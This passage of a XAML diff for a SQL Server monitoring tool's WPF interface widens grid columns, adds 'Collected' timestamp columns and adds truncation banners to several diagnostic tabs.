                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RecoveryModel" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Recovery Model" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding ReadOnlyDisplay}" Width="85">
+                                    <DataGridTextColumn Binding="{Binding ReadOnlyDisplay}" Width="105">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ReadOnlyDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Read Only" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding RcsiDisplay}" Width="65">
+                                    <DataGridTextColumn Binding="{Binding RcsiDisplay}" Width="75">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RcsiDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="RCSI" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding SnapshotIsolationState}" Width="130">
+                                    <DataGridTextColumn Binding="{Binding SnapshotIsolationState}" Width="160">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SnapshotIsolationState" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Snapshot Isolation" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AutoCreateStatsDisplay}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding AutoCreateStatsDisplay}" Width="155">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoCreateStatsDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Create Stats" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AutoUpdateStatsDisplay}" Width="115">
+                                    <DataGridTextColumn Binding="{Binding AutoUpdateStatsDisplay}" Width="155">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoUpdateStatsDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Update Stats" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AutoUpdateStatsAsyncDisplay}" Width="135">
+                                    <DataGridTextColumn Binding="{Binding AutoUpdateStatsAsyncDisplay}" Width="160">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoUpdateStatsAsyncDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Async Stats Update" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding ParameterizationForcedDisplay}" Width="140">
+                                    <DataGridTextColumn Binding="{Binding ParameterizationForcedDisplay}" Width="190">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ParameterizationForcedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Forced Parameterization" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding QueryStoreDisplay}" Width="95">
+                                    <DataGridTextColumn Binding="{Binding QueryStoreDisplay}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="QueryStoreDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Query Store" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding EncryptedDisplay}" Width="85">
+                                    <DataGridTextColumn Binding="{Binding EncryptedDisplay}" Width="105">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="EncryptedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Encrypted" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TrustworthyDisplay}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding TrustworthyDisplay}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TrustworthyDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Trustworthy" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding DbChainingDisplay}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding DbChainingDisplay}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DbChainingDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="DB Chaining" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
                                     <DataGridTextColumn Binding="{Binding BrokerEnabledDisplay}" Width="95">
@@ -2184,36 +2259,39 @@
                                     <DataGridTextColumn Binding="{Binding CdcEnabledDisplay}" Width="70">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CdcEnabledDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="CDC" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding MixedPageAllocationDisplay}" Width="115">
+                                    <DataGridTextColumn Binding="{Binding MixedPageAllocationDisplay}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MixedPageAllocationDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Mixed Pages" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding LogReuseWaitDesc}" Width="130">
+                                    <DataGridTextColumn Binding="{Binding LogReuseWaitDesc}" Width="135">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="LogReuseWaitDesc" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Log Reuse Wait" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AutoCloseDisplay}" Width="85">
+                                    <DataGridTextColumn Binding="{Binding AutoCloseDisplay}" Width="110">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoCloseDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Close" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AutoShrinkDisplay}" Width="90">
+                                    <DataGridTextColumn Binding="{Binding AutoShrinkDisplay}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoShrinkDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Shrink" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding PageVerifyOption}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding PageVerifyOption}" Width="120">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PageVerifyOption" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Page Verify" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TargetRecoveryTimeSeconds}" ElementStyle="{StaticResource NumericCell}" Width="135">
+                                    <DataGridTextColumn Binding="{Binding TargetRecoveryTimeSeconds}" ElementStyle="{StaticResource NumericCell}" Width="165">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TargetRecoveryTimeSeconds" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Target Recovery (s)" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding DelayedDurability}" Width="130">
+                                    <DataGridTextColumn Binding="{Binding DelayedDurability}" Width="160">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DelayedDurability" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Delayed Durability" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding AdrDisplay}" Width="65">
+                                    <DataGridTextColumn Binding="{Binding AdrDisplay}" Width="70">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AdrDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="ADR" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding MemoryOptimizedDisplay}" Width="120">
+                                    <DataGridTextColumn Binding="{Binding MemoryOptimizedDisplay}" Width="150">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MemoryOptimizedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Memory Optimized" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding OptimizedLockingDisplay}" Width="125">
+                                    <DataGridTextColumn Binding="{Binding OptimizedLockingDisplay}" Width="155">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="OptimizedLockingDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Optimized Locking" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
+                                    <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                        <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                    </DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
                         </TabItem>
@@ -2235,6 +2313,9 @@
                                     <DataGridTextColumn Binding="{Binding ValueForSecondary}" Width="200">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ValueForSecondary" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Value for Secondary" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
+                                    <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                        <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                    </DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
                         </TabItem>
@@ -2264,12 +2345,15 @@
                                     <DataGridTextColumn Header="Interval Min" Binding="{Binding IntervalLengthMinutes}" Width="95" ElementStyle="{StaticResource NumericCell}"/>
                                     <!-- v64 (#3796): the two capture modes, trailing like the store columns and the MCP payload. ALL is the
                                          plan-churn factory; a dash is a pre-rung row (or, for wait stats, a 2016 engine), never OFF. -->
-                                    <DataGridTextColumn Binding="{Binding CaptureModeDisplay}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding CaptureModeDisplay}" Width="125">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureModeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Capture Mode" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding WaitStatsCaptureModeDisplay}" Width="130">
+                                    <DataGridTextColumn Binding="{Binding WaitStatsCaptureModeDisplay}" Width="160">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="WaitStatsCaptureModeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Wait Stats Capture" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
+                                    <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                        <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                    </DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
                         </TabItem>
@@ -2316,16 +2400,19 @@
                                         <DataGridTextColumn Binding="{Binding StatusDisplay}" Width="100">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="StatusDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Status" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Binding="{Binding GlobalDisplay}" Width="80">
+                                        <DataGridTextColumn Binding="{Binding GlobalDisplay}" Width="90">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="GlobalDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Global" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Binding="{Binding SessionDisplay}" Width="80">
+                                        <DataGridTextColumn Binding="{Binding SessionDisplay}" Width="95">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SessionDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Session" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
+                                        <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                            <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                        </DataGridTextColumn>
                                     </DataGrid.Columns>
                                 </DataGrid>
-                                <!-- Shown only where the trace_flags collector does not collect for this server and the grid has no rows. -->
-                                <TextBlock x:Name="TraceFlagsNoDataMessage" Visibility="Collapsed" HorizontalAlignment="Center" VerticalAlignment="Center" TextAlignment="Center" TextWrapping="Wrap" MaxWidth="520" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}"/>
+                                <!-- Shown when the grid has no rows: its own words say no trace flags are enabled, and the engine-gap sentence replaces them where the trace_flags collector does not collect for this server. -->
+                                <TextBlock x:Name="TraceFlagsNoDataMessage" Visibility="Collapsed" HorizontalAlignment="Center" VerticalAlignment="Center" TextAlignment="Center" TextWrapping="Wrap" MaxWidth="520" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}" Text="No trace flags are enabled on this server."/>
                             </Grid>
                         </TabItem>
                     </TabControl>
@@ -2363,15 +2450,18 @@
             <TabItem Header="Latches &amp; Spinlocks">
                 <Grid Margin="8">
                     <Grid.RowDefinitions>
+                        <RowDefinition Height="Auto"/>
                         <RowDefinition Height="*"/>
                         <RowDefinition Height="Auto"/>
+                        <RowDefinition Height="Auto"/>
                         <RowDefinition Height="*"/>
                         <RowDefinition Height="Auto"/>
                     </Grid.RowDefinitions>
 
                     <!-- Latch wait-time trend (top 5 classes by delta wait) + per-class latest-snapshot grid. -->
-                    <ScottPlot:WpfPlot Grid.Row="0" x:Name="LatchStatsChart"/>
-                    <Expander Grid.Row="1" Header="Latch classes (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
+                    <TextBlock Grid.Row="0" x:Name="LatchStatsWindowTruncatedBanner" Visibility="Collapsed" Padding="8,4" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
+                    <ScottPlot:WpfPlot Grid.Row="1" x:Name="LatchStatsChart"/>
+                    <Expander Grid.Row="2" Header="Latch classes (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
                         <DataGrid x:Name="LatchStatsGrid"
                                   AutoGenerateColumns="False" IsReadOnly="True"
                                   RowStyle="{StaticResource GridRowStyle}"
@@ -2402,13 +2492,17 @@
                                 <DataGridTextColumn Binding="{Binding WaitingRequestsCount, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="140">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="WaitingRequestsCount" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Waiting Reqs (total)" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
+                                <DataGridTextColumn Binding="{Binding CollectionTimeLocal}" Width="150" SortMemberPath="CollectionTime">
+                                    <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CollectionTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                </DataGridTextColumn>
                             </DataGrid.Columns>
                         </DataGrid>
                     </Expander>
 
                     <!-- Spinlock collisions trend (top 5 spinlocks by delta collisions) + per-spinlock snapshot grid. -->
-                    <ScottPlot:WpfPlot Grid.Row="2" x:Name="SpinlockStatsChart" Margin="0,8,0,0"/>
-                    <Expander Grid.Row="3" Header="Spinlocks (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
+                    <TextBlock Grid.Row="3" x:Name="SpinlockStatsWindowTruncatedBanner" Visibility="Collapsed" Padding="8,4" Margin="0,8,0,0" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
+                    <ScottPlot:WpfPlot Grid.Row="4" x:Name="SpinlockStatsChart" Margin="0,8,0,0"/>
+                    <Expander Grid.Row="5" Header="Spinlocks (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
                         <DataGrid x:Name="SpinlockStatsGrid"
                                   AutoGenerateColumns="False" IsReadOnly="True"
                                   RowStyle="{StaticResource GridRowStyle}"
@@ -2443,6 +2537,9 @@
                                 <DataGridTextColumn Binding="{Binding Backoffs, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="100">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Backoffs" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Backoffs" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
+                                <DataGridTextColumn Binding="{Binding CollectionTimeLocal}" Width="150" SortMemberPath="CollectionTime">
+                                    <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CollectionTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                </DataGridTextColumn>
                             </DataGrid.Columns>
                         </DataGrid>
                     </Expander>
@@ -2478,6 +2575,7 @@
                         <DataGrid.Columns>
                             <DataGridTextColumn Header="Metric" Binding="{Binding Metric}" Width="2*"/>
                             <DataGridTextColumn Header="Value" Binding="{Binding Value}" Width="*"/>
+                            <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTimeLocal}" Width="150" SortMemberPath="CollectionTime"/>
                         </DataGrid.Columns>
                     </DataGrid>
                     <!-- Shown only where the cpu_scheduler_stats collector does not run (Azure SQL Database). -->
@@ -2506,7 +2604,9 @@
                                  report.plan_cache_bloat parity): a client-side CASE on single-use/total plans. -->
                             <TextBlock Text="Bloat Level:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
                             <TextBlock x:Name="PlanCacheBloatLevelText" Text="--" FontWeight="Bold" VerticalAlignment="Center" Margin="0,0,20,0"/>
-                            <TextBlock x:Name="PlanCacheRecommendationText" Text="" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" TextWrapping="Wrap"/>
+                            <TextBlock x:Name="PlanCacheRecommendationText" Text="" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" TextWrapping="Wrap" Margin="0,0,20,0"/>
+                            <TextBlock Text="Collected:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
+                            <TextBlock x:Name="PlanCacheCollectedText" Text="--" VerticalAlignment="Center"/>
                         </StackPanel>
                     </Border>
                 </Grid>
@@ -2533,7 +2633,9 @@
                             <TextBlock Text="Top Host:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
                             <TextBlock x:Name="SessionStatsTopHostText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center" Margin="0,0,20,0"/>
                             <TextBlock Text="Databases:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
-                            <TextBlock x:Name="SessionStatsDatabasesText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center"/>
+                            <TextBlock x:Name="SessionStatsDatabasesText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center" Margin="0,0,20,0"/>
+                            <TextBlock Text="Collected:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
+                            <TextBlock x:Name="SessionStatsCollectedText" Text="N/A" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center"/>
                         </StackPanel>
                     </Border>
                 </Grid>
@@ -2611,6 +2713,7 @@
                                 </Grid.RowDefinitions>
                                 <StackPanel Grid.Row="0" Orientation="Horizontal" Margin="0,4,0,8">
                                     <Button Content="Open Log File" Click="OpenLogFile_Click" Padding="12,4" Margin="0,0,8,0"/>
+                                    <TextBlock x:Name="CollectionLogWindowTruncatedBanner" Visibility="Collapsed" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                                 </StackPanel>
                                 <DataGrid Grid.Row="1" x:Name="CollectionLogGrid"
                                           AutoGenerateColumns="False" IsReadOnly="True"
@@ -2710,6 +2813,7 @@
                                 <TextBlock Text="Scheduler Issues" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="SchedulerIssuesCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="SchedulerIssuesWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="SchedulerIssuesGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2736,6 +2840,7 @@
                                 <TextBlock Text="Severe Errors (severity 19+)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="SevereErrorsCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="SevereErrorsWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="SevereErrorsGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2765,6 +2870,7 @@
                                 <TextBlock Text="Memory Conditions (low physical memory)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="MemoryConditionsCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="MemoryConditionsWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
                                 <DataGrid x:Name="MemoryConditionsGrid" AutoGenerateColumns="False" IsReadOnly="True" RowStyle="{StaticResource GridRowStyle}" HeadersVisibility="Column" GridLinesVisibility="Horizontal" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
@@ -2816,6 +2922,7 @@
                                 <TextBlock Text="Memory Broker (low physical memory)" VerticalAlignment="Center" FontWeight="SemiBold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                                 <Button Content="Refresh" Click="SystemEventsRefresh_Click" Margin="12,0,0,0" Padding="12,4" MinWidth="70"/>
                                 <TextBlock x:Name="MemoryBrokerCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
+                                <TextBlock x:Name="MemoryBrokerWindowTruncatedBanner" Visibility="Collapsed" Margin="12,0,0,0" Padding="8,4" VerticalAlignment="Center" FontWeight="Bold" Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
                             </StackPanel>
                             <Grid Grid.Row="1">
